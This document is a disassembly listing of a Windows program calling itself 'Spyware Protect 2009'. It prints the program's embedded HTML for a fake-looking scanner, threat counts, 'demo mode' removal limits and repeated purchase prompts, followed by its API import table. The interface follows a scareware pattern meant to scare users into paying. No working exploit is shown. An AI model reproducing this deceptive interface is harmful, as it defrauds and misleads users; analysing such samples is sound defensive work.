		db 9,9,9,9,' <div class="leftColumnTab menuTopMargin">',0Dh,0Ah
		db '                    <div id="tab3" class="but"><div class="tab3" '
		db 'onmouseover="onMenu(',27h,'tab3',27h,');" onclick="onMenuClick(',27h,'tab3'
		db 27h,');"><span id="tab3text" class="menuText">Get updates</span>'
		db '</div></div>                                           ',0Dh,0Ah
		db '                 </div>',0Dh,0Ah
		db '                 <div class="leftColumnTab menuTopMargin">',0Dh,0Ah
		db '                    <div id="tab4" class="but"><div class="tab4" '
		db 'onmouseover="onMenu(',27h,'tab4',27h,');" onclick="onMenuClick(',27h,'tab4'
		db 27h,');"><span id="tab4text" class="menuText">Activate now</span'
		db '></div></div>                                           ',0Dh,0Ah
		db '                 </div>',0Dh,0Ah
		db '                 <div class="leftColumnTab menuTopMargin">',0Dh,0Ah
		db '                    <div id="tab5" class="but"><div class="tab5" '
		db 'onmouseover="onMenu(',27h,'tab5',27h,');" onclick="onMenuClick(',27h,'tab5'
		db 27h,');"><span id="tab5text" class="menuText">Help & su'
		db 'pport</span></div></div>                                         '
		db '  ',0Dh,0Ah
		db '                 </div>',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db '                 <div class="regTextMargin">',0Dh,0Ah
		db '                 ',9,' <img src="protect.gif" onclick="external.pu'
		db 'rchase();"/>',0Dh,0Ah
		db '                 </div>',0Dh,0Ah
		db '            </div>',0Dh,0Ah
		db '            ',0Dh,0Ah
		db '            <div class="contentBlock-rightColumn">',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db '                 <div id="scan-panel" class="rightColumnPadding" '
		db 'style="display:none;">',0Dh,0Ah
		db '                         <table class="contentHeader" border="0" '
		db 'cellspacing="0" cellpadding="0">',0Dh,0Ah
		db '                            <tr>',0Dh,0Ah
		db '                             <td class="contentHeaderPadding-tab"'
		db '>',0Dh,0Ah
		db '                                 <img class="verticalAlignMiddle '
		db 'marginHeaderIcon" src="header-icon.gif" width="19" height="23" bo'
		db 'rder="0" alt="Alt text">',0Dh,0Ah
		db '                                 <span>Performing scan</span>',0Dh,0Ah
		db '                             </td>',0Dh,0Ah
		db '                             <td class="scanerActionButton" oncli'
		db 'ck="onScanButtonClick();"><div id="scanButton" class="scanButStar'
		db 't" style="padding-top:6px;">Start scan</div></td>',0Dh,0Ah
		db '                            </tr>',0Dh,0Ah
		db '                         </table>',0Dh,0Ah
		db '                         <table class="currentState" style="backg'
		db 'round:url(currentState-bg.gif) no-repeat center top;" border="0" '
		db 'cellspacing="0" cellpadding="0">',0Dh,0Ah
		db '                          <tr>',0Dh,0Ah
		db '                           <td class="currentStatePadding vertica'
		db 'lAlignTop">',0Dh,0Ah
		db '                               <span>Current state:</span>',0Dh,0Ah
		db '                               <img class="verticalAlignMiddle" s'
		db 'rc="point.gif" width="11" height="11" border="0" alt="Alt text" /'
		db '>',0Dh,0Ah
		db '                               <span id="IDstatusmessage" class="'
		db 'green">Ready</span>',0Dh,0Ah
		db '                           </td>',0Dh,0Ah
		db '                          </tr>',0Dh,0Ah
		db '                          <tr class="scanPath">',0Dh,0Ah
		db '                           <td>',0Dh,0Ah
		db '                               <table class="scanPathTable" borde'
		db 'r="0" cellspacing="0" cellpadding="0">',0Dh,0Ah
		db '                                   <tr>',0Dh,0Ah
		db '                                    <td class="scanPathIconTd">',0Dh
		db 0Ah
		db '                                        <img class="verticalAlign'
		db 'Middle" src="scan-path-icon.gif" width="17" height="17" border="0'
		db '" alt="Alt text" />',0Dh,0Ah
		db '                                    </td>',0Dh,0Ah
		db '                                    <td id="filename">',0Dh,0Ah
		db '                                        <span id="IDscanedfile"><'
		db '/span>',0Dh,0Ah
		db '                                    </td>',0Dh,0Ah
		db '                                    <td class="scanPathTotalTd">',0Dh
		db 0Ah
		db '                                        <div class="scanPathTotal'
		db '"><span class="totalText">Total: <span id="IDtotal">N/A</span></s'
		db 'pan></div>',0Dh,0Ah
		db '                                    </td>',0Dh,0Ah
		db '                                    <td class="threatsTotalTd">',0Dh
		db 0Ah
		db '                                        <div class="threatsTotal"'
		db '><span class="totalText">Threats: <span id="IDthreats">N/A</span>'
		db '</span></div>',0Dh,0Ah
		db '                                    </td>',0Dh,0Ah
		db '                                   </tr>',0Dh,0Ah
		db '                               </table>',0Dh,0Ah
		db '                           </td>',0Dh,0Ah
		db '                          </tr>',0Dh,0Ah
		db '                         </table>',0Dh,0Ah
		db '                         <table class="dataStat" border="0" cells'
		db 'pacing="0" cellpadding="0">',0Dh,0Ah
		db '                          <tr>',0Dh,0Ah
		db '                           <td class="dataStatPadding verticalAli'
		db 'gnTop" colspan="2">',0Dh,0Ah
		db '                             <table width="100%" border="0" cells'
		db 'pacing="0" cellpadding="0">',0Dh,0Ah
		db '                              <tr>',0Dh,0Ah
		db '                               <td><span>Malware database status:'
		db '</span> <img class="verticalAlignMiddle" src="point.gif" width="1'
		db '1" height="11" border="0" alt="Alt text" /> <span class="green" i'
		db 'd="dbStatus">Up to date</span></td>',0Dh,0Ah
		db '                               <td class="textAlignRight sigVerPa'
		db 'dding"><img class="verticalAlignMiddle" src="version-icon.png" wi'
		db 'dth="15" height="19" border="0" alt="Alt text" /> <span>Signature'
		db ' version:</span> <span id="curd" class="blue"> </span> <span'
		db ' class="lt-grey">(11345 entries)</span></td>',0Dh,0Ah
		db '                              </tr>',0Dh,0Ah
		db '                             </table>',0Dh,0Ah
		db '                           </td>',0Dh,0Ah
		db '                          </tr>',0Dh,0Ah
		db '                          <tr class="updBase" id="updBase" onclic'
		db 'k="external.purchase();">',0Dh,0Ah
		db 9,'                           <td class="updBasePadding"><img class'
		db '="verticalAlignMiddle" id="updBaseIcon" src="alert-icon.gif" widt'
		db 'h="21" height="18" border="0" alt="Alt text" /> <span id="updBase'
		db 'Text">Activate Spyware Protect 2009 now to be sure that maximal p'
		db 'rotection is applied.</span></td>',0Dh,0Ah
		db '                          </tr>',0Dh,0Ah
		db '                         </table>',0Dh,0Ah
		db '                         <table class="rezultTableHead" border="0'
		db '" cellspacing="0" cellpadding="3">',0Dh,0Ah
		db '                          <tr>',0Dh,0Ah
		db '                           <td class="rezultTableHeadCell1"><span'
		db '>Threat name</span></td>',0Dh,0Ah
		db '                           <td class="rezultTableHeadCell2"><span'
		db '>Severity</span></td>',0Dh,0Ah
		db '                           <td class="rezultTableHeadCell3"><span'
		db '>Description (click on item for more information)</span></td>',0Dh,0Ah
		db '                          </tr>',0Dh,0Ah
		db '                         </table>',0Dh,0Ah
		db '                          <div id="scrollRezultTable">',0Dh,0Ah
		db '                             <table id="virusTable" class="rezult'
		db 'Table" border="0" cellspacing="0" cellpadding="3">',0Dh,0Ah
		db '                              </table>',0Dh,0Ah
		db '                         </div>',0Dh,0Ah
		db '                         <table class="scanProgress" border="0" c'
		db 'ellspacing="0" cellpadding="0">',0Dh,0Ah
		db '                           <tr  class="scanProgressTopRow">',0Dh,0Ah
		db '                            <td class="scanProgressPadding"><img '
		db 'class="verticalAlignMiddle" src="scan-progress-icon.gif" width="2'
		db '0" height="17" border="0" alt="Alt text" /> <span>Scan progress</'
		db 'span></td>',0Dh,0Ah
		db '                            <td class="textAlignRight scanProgres'
		db 'sComplPadding"><span id="progressPercent" class="lt-green">0%</sp'
		db 'an> <span>completed</span></td>',0Dh,0Ah
		db '                           </tr>',0Dh,0Ah
		db '                           <tr>',0Dh,0Ah
		db '                            <td class="scanProgressPadding" colsp'
		db 'an="2">',0Dh,0Ah
		db '                            ',9,'<table>',0Dh,0Ah
		db '                            ',9,9,'<tr>',0Dh,0Ah
		db '                            ',9,9,9,'<td align="right" style="backgr'
		db 'ound:url(',27h,'scan-progress-scale-bg-green.png',27h,');" width="630" '
		db 'height="21">',0Dh,0Ah
		db '                            ',9,9,9,9,'<table id="progressBar" style='
		db '"border-collapse:collapse;" width="0" border="0">',0Dh,0Ah
		db '                            ',9,9,9,9,9,'<tr>',0Dh,0Ah
		db '                            ',9,9,9,9,9,9,'<td height="21" style="backg'
		db 'round:url(',27h,'scan-progress-scale-bg.gif',27h,');"></td>',0Dh,0Ah
		db '                            ',9,9,9,9,9,'</tr>',0Dh,0Ah
		db '                            ',9,9,9,9,'</table>',0Dh,0Ah
		db '                            ',9,9,9,'</td>',0Dh,0Ah
		db '                            ',9,9,'</tr>',0Dh,0Ah
		db '                            ',9,'</table>',0Dh,0Ah
		db '                            </td>',0Dh,0Ah
		db '                           </tr>',0Dh,0Ah
		db '                          </table>',0Dh,0Ah
		db '                 ',0Dh,0Ah
		db 9,9,9,9,' </div>',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db '                <div id="help-panel" class="rightColumnPadding" s'
		db 'tyle="display:none;">',0Dh,0Ah
		db 0Dh,0Ah
		db '                    <table class="contentHeader" border="0" cells'
		db 'pacing="0" cellpadding="0">',0Dh,0Ah
		db '                      <tr>',0Dh,0Ah
		db '                        <td class="contentHeaderPadding-tab">',0Dh,0Ah
		db '                            <img class="verticalAlignMiddle margi'
		db 'nHeaderIcon" src="header-icon.gif" width="19" height="23" border='
		db '"0" alt="Alt text">',0Dh,0Ah
		db '                            <span>Help & support</span>',0Dh,0Ah
		db '                        </td>',0Dh,0Ah
		db '                       </tr>',0Dh,0Ah
		db '                    </table>',0Dh,0Ah
		db 0Dh,0Ah
		db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1'
		db '45"/>',0Dh,0Ah
		db '                    <div id="content" style="margin-top:-145px;" '
		db 'class="tabTextBg">',0Dh,0Ah
		db '                        <div class="tabTextBgPadding">',0Dh,0Ah
		db '                            <span class="header">Support</span>',0Dh
		db 0Ah
		db '                            <br/>',0Dh,0Ah
		db '                            <p>',0Dh,0Ah
		db '                                If you have any questions or requ'
		db 'ests concerning the Spyware Protect 2009',0Dh,0Ah
		db '                                product range, we will be pleased'
		db ' to help you. All relevant information',0Dh,0Ah
		db '                                concerning our comprehensive supp'
		db 'ort service can be found on our online',0Dh,0Ah
		db '                                support center.',0Dh,0Ah
		db '                            <br/><br/>   ',0Dh,0Ah
		db '                            <div class="textAlignRight">',0Dh,0Ah
		db '                                <input class="visitSiteButton" ty'
		db 'pe="button" id="visitButton" name="" value="Visit spyware protect'
		db ' 2009 support center" />',0Dh,0Ah
		db '                            </div>',0Dh,0Ah
		db '                        </div>',0Dh,0Ah
		db '                    </div>',0Dh,0Ah
		db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="9'
		db '0"/>',0Dh,0Ah
		db '                    <div id="content" style="margin-top:-90px;" c'
		db 'lass="tabTextBg">',0Dh,0Ah
		db '                        <div class="tabTextBgPadding">',0Dh,0Ah
		db '                            <span class="header">About</span>',0Dh,0Ah
		db '                            <br/>',0Dh,0Ah
		db '                            <p>',0Dh,0Ah
		db '                                Copyright 2008 Spyware Protect 20'
		db '09 Inc.',0Dh,0Ah
		db '                                All rights reserved.',0Dh,0Ah
		db '                            </p>',0Dh,0Ah
		db '                        </div>',0Dh,0Ah
		db '                    </div>',0Dh,0Ah
		db 0Dh,0Ah
		db '                </div>',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db '                <div id="update-panel" class="rightColumnPadding"'
		db ' style="display:none;">',0Dh,0Ah
		db 0Dh,0Ah
		db '                    <table class="contentHeader" border="0" cells'
		db 'pacing="0" cellpadding="0">',0Dh,0Ah
		db '                      <tr>',0Dh,0Ah
		db '                        <td class="contentHeaderPadding-tab">',0Dh,0Ah
		db '                            <img class="verticalAlignMiddle margi'
		db 'nHeaderIcon" src="header-icon.gif" width="19" height="23" border='
		db '"0" alt="Alt text">',0Dh,0Ah
		db '                            <span>Get updates</span>',0Dh,0Ah
		db '                        </td>',0Dh,0Ah
		db '                       </tr>',0Dh,0Ah
		db '                    </table>',0Dh,0Ah
		db 0Dh,0Ah
		db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1'
		db '45"/>',0Dh,0Ah
		db '                    <div id="content" style="margin-top:-145px;" '
		db 'class="tabTextBg">',0Dh,0Ah
		db '                        <div class="tabTextBgPadding">',0Dh,0Ah
		db '                            <span class="header">Database informa'
		db 'tion</span>',0Dh,0Ah
		db '                            <br/>',0Dh,0Ah
		db '                            <span>',0Dh,0Ah
		db '                                Warning! Please note that you sho'
		db 'uld be online before you update virus',0Dh,0Ah
		db '                                definition database. It is necess'
		db 'ary',0Dh,0Ah
		db '                                to connect to Spyware Protect 200'
		db '9 online updates center and download',0Dh,0Ah
		db '                                the last version of database.',0Dh,0Ah
		db '                            </span>',0Dh,0Ah
		db '                            <br/><br/>',0Dh,0Ah
		db '                            <img class="verticalAlignMiddle" src='
		db '"version-icon.png" width="15" height="19" border="0" alt="Alt tex'
		db 't" /> <span>Signature version:</span> <span class="blue" id="last'
		db '-update">2008/5/9</span> <span class="lt-grey" id="getUpdate-verS'
		db 'igs">(11345 entries)</span>',0Dh,0Ah
		db '                            ',0Dh,0Ah
		db '                            <div class="textAlignRight">',0Dh,0Ah
		db '                            <input class="getupdButton-big" type='
		db '"button" id="install-updates-now" name="" value="Get update now" '
		db '/>',0Dh,0Ah
		db '                            </div>',0Dh,0Ah
		db '                        </div>',0Dh,0Ah
		db '                    </div>',0Dh,0Ah
		db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="7'
		db '0"/>',0Dh,0Ah
		db '                    <div id="content" style="margin-top:-70px;"  '
		db 'class="tabTextBg">',0Dh,0Ah
		db '                        <div class="tabTextBgPadding">',0Dh,0Ah
		db '                            <img class="verticalAlignMiddle" id="'
		db 'downloadIcon" src="download-icon.jpg" width="47" height="45" bord'
		db 'er="0" alt="Alt text">',0Dh,0Ah
		db '                            <span class="header" id="downloadStat'
		db 'us">Downloaded</span>',0Dh,0Ah
		db '                        </div>',0Dh,0Ah
		db '                    </div>',0Dh,0Ah
		db 0Dh,0Ah
		db '                </div>',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db '                <div id="settings-panel" class="rightColumnPaddin'
		db 'g" style="display:none;">',0Dh,0Ah
		db '                    <table class="contentHeader" border="0" cells'
		db 'pacing="0" cellpadding="0">',0Dh,0Ah
		db '                      <tr>',0Dh,0Ah
		db '                        <td class="contentHeaderPadding-tab">',0Dh,0Ah
		db '                            <img class="verticalAlignMiddle margi'
		db 'nHeaderIcon" src="header-icon.gif" width="19" height="23" border='
		db '"0" alt="Alt text">',0Dh,0Ah
		db '                            <span>Adjust settings</span>    ',0Dh,0Ah
		db '                        </td>',0Dh,0Ah
		db '                       </tr>',0Dh,0Ah
		db '                    </table>',0Dh,0Ah
		db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1'
		db '15"/>',0Dh,0Ah
		db '                    <div id="content" style="margin-top:-115px;" '
		db 'class="tabTextBg">',0Dh,0Ah
		db '                        <div class="tabTextBgPadding">',0Dh,0Ah
		db '                            <span class="header">Alert</span>',0Dh,0Ah
		db '                            <br/>',0Dh,0Ah
		db '                            <p>',0Dh,0Ah
		db '                                Alert, if last update older: <inp'
		db 'ut class="panelSettingsField" id="alertPeriod" size="3" type="num'
		db 'ber" value="1" step="1" minvalue="1" maxvalue="30" /> days.<br/>',0Dh
		db 0Ah
		db '                                In this box you can enter the max'
		db 'imum number of days allowed to have passed',0Dh,0Ah
		db '                                since the last update of virus de'
		db 'finition database.',0Dh,0Ah
		db '                            </p>',0Dh,0Ah
		db '                        </div>',0Dh,0Ah
		db '                    </div>',0Dh,0Ah
		db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1'
		db '25"/>',0Dh,0Ah
		db '                    <div id="content" style="margin-top:-125px;" '
		db 'class="tabTextBg">',0Dh,0Ah
		db '                        <div class="tabTextBgPadding">',0Dh,0Ah
		db '                            <span class="header">Automatic Startu'
		db 'p</span>',0Dh,0Ah
		db '                            <br/>',0Dh,0Ah
		db '                            <p>',0Dh,0Ah
		db '                            When this feature is enabled Spyware '
		db 'Protect 2009 will start each time when you turn your computer on.'
		db 0Dh,0Ah
		db '                            </p>',0Dh,0Ah
		db '                            <input class="checkbox" type="checkbo'
		db 'x" id="load-on-startup" checked><span>Enable start the program wh'
		db 'en Windows start</span>',0Dh,0Ah
		db '                        </div>',0Dh,0Ah
		db '                    </div>',0Dh,0Ah
		db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1'
		db '25"/>',0Dh,0Ah
		db '                    <div id="content" style="margin-top:-125px;" '
		db 'class="tabTextBg">',0Dh,0Ah
		db '                        <div class="tabTextBgPadding">',0Dh,0Ah
		db '                            <span class="header">Automatic scan y'
		db 'our computer</span>',0Dh,0Ah
		db '                            <br/>',0Dh,0Ah
		db '                            <p>',0Dh,0Ah
		db '                            When this feature is enabled Spyware '
		db 'Protect 2009 will scan your computer after each run.',0Dh,0Ah
		db '                            </p>',0Dh,0Ah
		db '                            <input class="checkbox" type="checkbo'
		db 'x" id="scan-on-startup"><span>Enable scan on run</span>',0Dh,0Ah
		db '                        </div>',0Dh,0Ah
		db '                    </div>',0Dh,0Ah
		db '                </div>',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db '                <div id="activate-panel" class="rightColumnPaddin'
		db 'g" style="display:none;">',0Dh,0Ah
		db '                    <table class="contentHeader" border="0" cells'
		db 'pacing="0" cellpadding="0">',0Dh,0Ah
		db '                      <tr>',0Dh,0Ah
		db '                        <td class="contentHeaderPadding-tab">',0Dh,0Ah
		db '                            <img class="verticalAlignMiddle margi'
		db 'nHeaderIcon" src="header-icon.gif" width="19" height="23" border='
		db '"0">',0Dh,0Ah
		db '                            <span>Demo version</span>',0Dh,0Ah
		db '                        </td>',0Dh,0Ah
		db '                       </tr>',0Dh,0Ah
		db '                    </table>',0Dh,0Ah
		db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1'
		db '65"/>',0Dh,0Ah
		db '                    <div id="content" class="tabTextBg" style="to'
		db 'p:-165px;">',0Dh,0Ah
		db '                        <div class="tabTextBgPadding">',0Dh,0Ah
		db '                            <img class="verticalAlignMiddle" src='
		db '"arrow.gif" width="29" height="29" border="0" alt="Alt text"> <sp'
		db 'an class="header">Activate full version</span>',0Dh,0Ah
		db '                            <br/>',0Dh,0Ah
		db '                            <p>',0Dh,0Ah
		db '                                This is demo version of Spyware P'
		db 'rotect 2009.',0Dh,0Ah
		db '                                Please note that removal feature '
		db 'is disabled in demo mode.',0Dh,0Ah
		db '                                To be able remove viruses found a'
		db 'nd protect your PC, you should purchase a license.',0Dh,0Ah
		db '                            </p>',0Dh,0Ah
		db '                            <div class="activeBut" style="padding'
		db '-top:6px;" onclick="purchaseDialog(',27h,'show',27h,');">  Ac'
		db 'tivate Spyware Protect</div>',0Dh,0Ah
		db 0Dh,0Ah
		db '                            <br/>',0Dh,0Ah
		db '                            ',0Dh,0Ah
		db '                        </div>',0Dh,0Ah
		db '                    </div>',0Dh,0Ah
		db 9,'            </div>',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db ' ',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db '            </div>    ',0Dh,0Ah
		db '         ',0Dh,0Ah
		db '        </div>',0Dh,0Ah
		db '        ',0Dh,0Ah
		db '        <div id="footerBlock"><!-- footer --></div>',0Dh,0Ah
		db 0Dh,0Ah
		db '    </div>',0Dh,0Ah
		db '</body>',0Dh,0Ah
		db '</html>',0
		align 10h
aHtmlHeadScri_0	db '<html>',0Dh,0Ah
		db '<head>',0Dh,0Ah
		db '<script src="JS/HtmlControl.js"></script>',0Dh,0Ah
		db '<script type="text/javascript">',0Dh,0Ah
		db 'external.Show(',27h,'center',27h,', 738, 600);',0Dh,0Ah
		db 'document.onselectstart =',0Dh,0Ah
		db '    function () { return false; };',0Dh,0Ah
		db 'function noError(){return true;}',0Dh,0Ah
		db 'window.onerror = noError;',0Dh,0Ah
		db 0Dh,0Ah
		db 'function redir(url)',0Dh,0Ah
		db '{',0Dh,0Ah
		db 'window.location.href=url;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '</script>',0Dh,0Ah
		db '</head>',0Dh,0Ah
		db '<body onload="external.first();">',0Dh,0Ah
		db '</body>',0Dh,0Ah
		db '</html>',0Dh,0Ah,0
		align 10h
aResizingElemen	db '// resizing elements (winuser.h)',0Dh,0Ah
		db 'HTLEFT        = 10;',0Dh,0Ah
		db 'HTRIGHT       = 11;',0Dh,0Ah
		db 'HTTOP         = 12;',0Dh,0Ah
		db 'HTTOPLEFT     = 13;',0Dh,0Ah
		db 'HTTOPRIGHT    = 14;',0Dh,0Ah
		db 'HTBOTTOM      = 15;',0Dh,0Ah
		db 'HTBOTTOMLEFT  = 16;',0Dh,0Ah
		db 'HTBOTTOMRIGHT = 17;',0Dh,0Ah
		db 'HTBORDER      = 18;',0Dh,0Ah
		db 0Dh,0Ah
		db 'function $(id)',0Dh,0Ah
		db '{',0Dh,0Ah
		db '    return document.getElementById(id);',0Dh,0Ah
		db '}',0Dh,0Ah,0
		align 4
		dd 13Fh	dup(0)
		dd 140h, 1C05Ch, 65724601h, 62694C65h, 79726172h, 6F4C0100h
		dd 65526461h, 72756F73h, 1006563h, 61657243h, 72506574h
		dd 7365636Fh, 1005773h,	64616F4Ch, 7262694Ch, 45797261h
		dd 1005778h
aWaitforsingleo	db 'WaitForSingleObject',0
		db    1
aSetevent	db 'SetEvent',0
		dw 5701h
aAitforsingleob	db 'aitForSingleObjectEx',0
		db 1, 47h, 65h
aTmodulehandlew	db 'tModuleHandleW',0
		db 1
aWidechartomult	db 'WideCharToMultiByte',0
		dd 656C5301h, 1007065h,	79706F43h, 656C6946h, 53010057h
		dd 6F657A69h, 73655266h, 6372756Fh, 6C010065h, 63727473h
		dd 576E7970h, 65470100h, 6D655474h, 74615070h, 1005768h
		dd 646E6946h, 736F6C43h, 52010065h, 74657365h, 6E657645h
		dd 43010074h, 74616572h, 65764565h, 57746Eh, 74736C01h
		dd 706D6372h, 1005769h,	646E6946h, 7478654Eh, 656C6946h
		dd 43010057h, 65736F6Ch, 646E6148h, 100656Ch
aGetwindowsdire	db 'GetWindowsDirectoryW',0
		db 1, 43h, 72h
aEatethread	db 'eateThread',0
		db 1
aInterlockedexc	db 'InterlockedExchange',0
		db    1
aGetacp		db 'GetACP',0
		db    1
aGetlocaleinfoa	db 'GetLocaleInfoA',0
		db    1
aGetthreadlocal	db 'GetThreadLocale',0
		db 1, 47h, 65h
aTversionexa	db 'tVersionExA',0
		db    1
aInterlockedcom	db 'InterlockedCompareExchange',0
		dd 61654801h, 65724670h, 47010065h, 72507465h, 7365636Fh
		dd 61654873h, 48010070h, 41706165h, 636F6C6Ch, 65470100h
		dd 6F725074h, 64644163h, 73736572h, 6F4C0100h, 694C6461h
		dd 72617262h, 1004179h
aIsprocessorf_0	db 'IsProcessorFeaturePresent',0
		dw 5601h
aIrtualfree	db 'irtualFree',0
		db 1
aVirtualalloc	db 'VirtualAlloc',0
		db 1, 53h, 65h
aTenvironmentva	db 'tEnvironmentVariableA',0
		dw 4301h
aOmparestringw	db 'ompareStringW',0
		dw 4301h
aOmparestringa	db 'ompareStringA',0
		dw 4601h
aLushfilebuffer	db 'lushFileBuffers',0
		db    1
aCreatefilea	db 'CreateFileA',0
		db 1, 47h, 65h
aTstringtypew	db 'tStringTypeW',0
		db 1, 47h, 65h
aTstringtypea	db 'tStringTypeA',0
		db 1, 46h, 69h
aNdresourcew	db 'ndResourceW',0
		db    1
aLcmapstringa	db 'LCMapStringA',0
		dw 5701h
aRiteconsolew	db 'riteConsoleW',0
		db 1, 47h, 65h
aTconsoleoutput	db 'tConsoleOutputCP',0
		db 1, 57h, 72h
aIteconsolea	db 'iteConsoleA',0
		db    1
aSetstdhandle	db 'SetStdHandle',0
		dw 4701h
aEtfileattribut	db 'etFileAttributesA',0
		dw 4301h
aReateprocessa	db 'reateProcessA',0
		dw 4701h
aEtexitcodeproc	db 'etExitCodeProcess',0
		dw 4901h
aNitializecriti	db 'nitializeCriticalSectionAndSpinCount',0
		db 1, 49h, 73h
aValidcodepage	db 'ValidCodePage',0
		dw 4701h
aEtoemcp	db 'etOEMCP',0
		db    1
aGetcpinfo	db 'GetCPInfo',0
		db 1
aGetconsolemode	db 'GetConsoleMode',0
		db 1
aGetconsolecp	db 'GetConsoleCP',0
		db 1, 53h, 65h
aTfilepointer	db 'tFilePointer',0
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcessId',0
		dw 4701h
aEttickcount	db 'etTickCount',0
		db    1
aQueryperforman	db 'QueryPerformanceCounter',0
		db 1, 47h, 65h
aTfiletype	db 'tFileType',0
		dw 5301h
aEthandlecount	db 'etHandleCount',0
		dw 4701h
aEtenvironments	db 'etEnvironmentStringsW',0
		dw 4601h
aReeenvironment	db 'reeEnvironmentStringsW',0
		db 1
aGetenvironment	db 'GetEnvironmentStrings',0
		dw 4601h
aReeenvironme_0	db 'reeEnvironmentStringsA',0
		db 1
aHeapsize	db 'HeapSize',0
		db 1, 54h, 6Ch
aSfree		db 'sFree',0
		dw 5401h
aLssetvalue	db 'lsSetValue',0
		db 1
aTlsalloc	db 'TlsAlloc',0
		db 1, 54h, 6Ch
aSgetvalue	db 'sGetValue',0
		dw 4701h
aEtmodulefilena	db 'etModuleFileNameA',0
		dw 4701h
aEtstdhandle	db 'etStdHandle',0
		db    1
aWritefile	db 'WriteFile',0
		db 1
aHeapcreate	db 'HeapCreate',0
		db 1
aRtlunwind	db 'RtlUnwind',0
		dw 4701h
aEtstartupinfoa	db 'etStartupInfoA',0
		db 1
aGetcommandline	db 'GetCommandLineA',0
		db    1
aGetsystemtimea	db 'GetSystemTimeAsFileTime',0
		db 1, 48h, 65h
aAprealloc	db 'apReAlloc',0
		dw 4401h
aEletefilea	db 'eleteFileA',0
		db 1
aIsdebuggerpres	db 'IsDebuggerPresent',0
		dw 5301h
aEtunhandledexc	db 'etUnhandledExceptionFilter',0
		db 1
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		db 1, 54h, 65h
aRminateprocess	db 'rminateProcess',0
		db 1
aVirtualquery	db 'VirtualQuery',0
		db 1, 46h, 69h
aNdfirstfilew	db 'ndFirstFileW',0
		db 1, 45h, 78h
aItprocess	db 'itProcess',0
		dw 4701h
aEtcurrentthrea	db 'etCurrentThreadId',0
		dw 4401h
aEletecriticals	db 'eleteCriticalSection',0
		db 1, 45h, 6Eh
aTercriticalsec	db 'terCriticalSection',0
		db 1
aSetlasterror	db 'SetLastError',0
		db 1, 6Ch, 73h
aTrlena		db 'trlenA',0
		db 1
aGetlasterror	db 'GetLastError',0
		db 1, 52h, 61h
aIseexception	db 'iseException',0
		db 1, 46h, 6Ch
aUshinstruction	db 'ushInstructionCache',0
		dd 74654701h, 74737953h, 6E496D65h, 1006F66h, 74726956h
		dd 506C6175h, 65746F72h, 1007463h, 626F6C47h, 6E556C61h
		dd 6B636F6Ch, 736C0100h, 656C7274h, 100576Eh
aMultibytetowid	db 'MultiByteToWideChar',0
		db    1
aLstrcmpw	db 'lstrcmpW',0
		dw 4701h
aEtmodulefile_0	db 'etModuleFileNameW',0
		dw 4D01h
aUldiv		db 'ulDiv',0
		dw 4C01h
aEavecriticalse	db 'eaveCriticalSection',0
		dd 6F6C4701h, 416C6162h, 636F6C6Ch, 6E490100h, 61697469h
		dd 657A696Ch, 74697243h, 6C616369h, 74636553h, 6E6F69h
		dd 6F6C4701h, 4C6C6162h, 6B636Fh, 74654701h, 72727543h
		dd 50746E65h, 65636F72h, 1007373h, 65746E49h, 636F6C72h
		dd 4464656Bh, 65726365h, 746E656Dh, 6E490100h, 6C726574h
		dd 656B636Fh, 636E4964h, 656D6572h, 100746Eh, 614D434Ch
		dd 72745370h, 57676E69h, 65470100h, 646F4D74h, 48656C75h
		dd 6C646E61h, 4165h, 14Dh, 1C000h, 67655201h, 736F6C43h
		dd 79654B65h, 65520100h, 65755167h, 6E497972h, 654B6F66h
		dd 1005779h, 44676552h,	74656C65h, 79654B65h, 52010057h
		dd 65446765h, 6574656Ch, 756C6156h, 1005765h, 4F676552h
		dd 4B6E6570h, 78457965h, 52010057h, 6E456765h, 654B6D75h
		dd 57784579h, 65520100h, 74655367h, 756C6156h, 57784565h
		dd 65520100h, 65755167h, 61567972h, 4565756Ch, 1005778h
		dd 43676552h, 74616572h, 79654B65h, 577845h, 15A00h, 1C02800h
		dd 69420100h, 746C4274h, 65440100h, 6574656Ch, 1004344h
		dd 61657243h, 69426574h, 70616D74h, 65470100h, 76654474h
		dd 43656369h, 737061h, 6C654401h, 4F657465h, 63656A62h
		dd 53010074h, 63656C65h, 6A624F74h, 746365h, 65724301h
		dd 43657461h, 61706D6Fh, 6C626974h, 434465h, 65724301h
		dd 43657461h, 61706D6Fh, 6C626974h, 74694265h, 70616Dh
		dd 74654701h, 656A624Fh, 577463h, 74654701h, 636F7453h
		dd 6A624F6Bh, 746365h, 74655301h, 69424944h, 1007374h
		dd 61657243h, 6F536574h, 4264696Ch, 68737572h, 1640000h
		dd 0C3900000h, 43010001h, 7465476Fh, 65746E49h,	63616672h
		dd 646E4165h, 656C6552h, 53657361h, 61657274h, 4F01006Dh
		dd 6F4C656Ch, 75526B63h, 6E696E6Eh, 43010067h, 6572436Fh
		dd 49657461h, 6174736Eh, 65636Eh, 546F4301h, 4D6B7361h
		dd 72466D65h, 1006565h,	49534C43h, 6F724644h, 6F72506Dh
		dd 444967h, 534C4301h, 72464449h, 74536D6Fh, 676E6972h
